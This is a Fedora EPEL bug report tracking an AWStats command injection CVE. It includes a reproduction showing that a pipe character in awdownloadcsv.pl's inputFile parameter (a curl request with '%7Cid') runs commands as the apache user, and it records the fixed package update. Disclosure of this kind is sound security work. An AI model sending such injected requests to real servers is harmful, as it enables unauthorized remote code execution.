Bug 2450260
| Summary: | CVE-2025-63261 awstats: AWStats: Arbitrary code execution via command injection vulnerability [epel-all] | ||
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| Product: | [Fedora] Fedora EPEL | Reporter: | Vipul Nair <vinair> |
| Component: | awstats | Assignee: | Tim Jackson <rpm> |
| Status: | CLOSED ERRATA | QA Contact: | Fedora Extras Quality Assurance <extras-qa> |
| Severity: | high | Docs Contact: | |
| Priority: | high | ||
| Version: | epel8 | CC: | 001, aurelien, howard+fedora, plautrba, rpm |
| Target Milestone: | --- | Keywords: | Security, SecurityTracking |
| Target Release: | --- | ||
| Hardware: | Unspecified | ||
| OS: | Unspecified | ||
| Whiteboard: | {"flaws": ["56bf8b03-82ec-4824-b120-a4009383f4fd"]} | ||
| Fixed In Version: | awstats-8.0-1.el8 | Doc Type: | --- |
| Doc Text: | Story Points: | --- | |
| Clone Of: | Environment: | ||
| Last Closed: | 2026-04-20 00:23:57 UTC | Type: | --- |
| Regression: | --- | Mount Type: | --- |
| Documentation: | --- | CRM: | |
| Verified Versions: | Category: | --- | |
| oVirt Team: | --- | RHEL 7.3 requirements from Atomic Host: | |
| Cloudforms Team: | --- | Target Upstream Version: | |
| Embargoed: | |||
| Bug Depends On: | |||
| Bug Blocks: | 2449785 | ||
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Description
Vipul Nair
2026-03-23 09:09:31 UTC
I understand that AWStats is no longer being actively maintained and is slated for removal from future Fedora packages. However, given the impact of the recent vulnerability (CVE-2025-63261), could you please consider addressing this issue? It appears that a patch has been proposed in the following issue: https://github.com/eldy/AWStats/issues/287 Could you please review this and let me know if it's possible to apply the fix? Thank you for your time and effort. I would like to provide additional information regarding this ticket. While investigating the issue in awstats.pl, I found that a similar command injection vulnerability also exists in awdownloadcsv.pl when the $ALLOWDOWNLOAD configuration is enabled. This finding is consistent with the vulnerability report discussed on the OSS-security mailing list: https://www.openwall.com/lists/oss-security/2026/03/08/8 Vulnerability Detail: In awdownloadcsv.pl, the inputFile parameter is not properly sanitized before being used in an open() call (or similar file-handling functions), allowing for arbitrary command execution via the pipe character (|). 1. Prepare the environment and install packages --- crb enable dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-9.noarch.rpm dnf install -y awstats httpd systemctl start httpd --- 2. Enable the download feature in the script --- sed -i 's/my $ALLOWDOWNLOAD=0;/my $ALLOWDOWNLOAD=1;/' /usr/share/awstats/wwwroot/cgi-bin/awdownloadcsv.pl --- 3. Execute command --- curl "http://localhost/awstats/awdownloadcsv.pl?inputFile=%7Cid" --- Result The command "id" is executed, and the output is returned in the response. Output: uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:awstats_script_t:s0 FEDORA-EPEL-2026-3bef016061 (awstats-8.0-1.el8) has been submitted as an update to Fedora EPEL 8. https://bodhi.fedoraproject.org/updates/FEDORA-EPEL-2026-3bef016061 FEDORA-EPEL-2026-3bef016061 has been pushed to the Fedora EPEL 8 testing repository. You can provide feedback for this update here: https://bodhi.fedoraproject.org/updates/FEDORA-EPEL-2026-3bef016061 See also https://fedoraproject.org/wiki/QA:Updates_Testing for more information on how to test updates. FEDORA-EPEL-2026-3bef016061 (awstats-8.0-1.el8) has been pushed to the Fedora EPEL 8 stable repository. If problem still persists, please make note of it in this bug report. |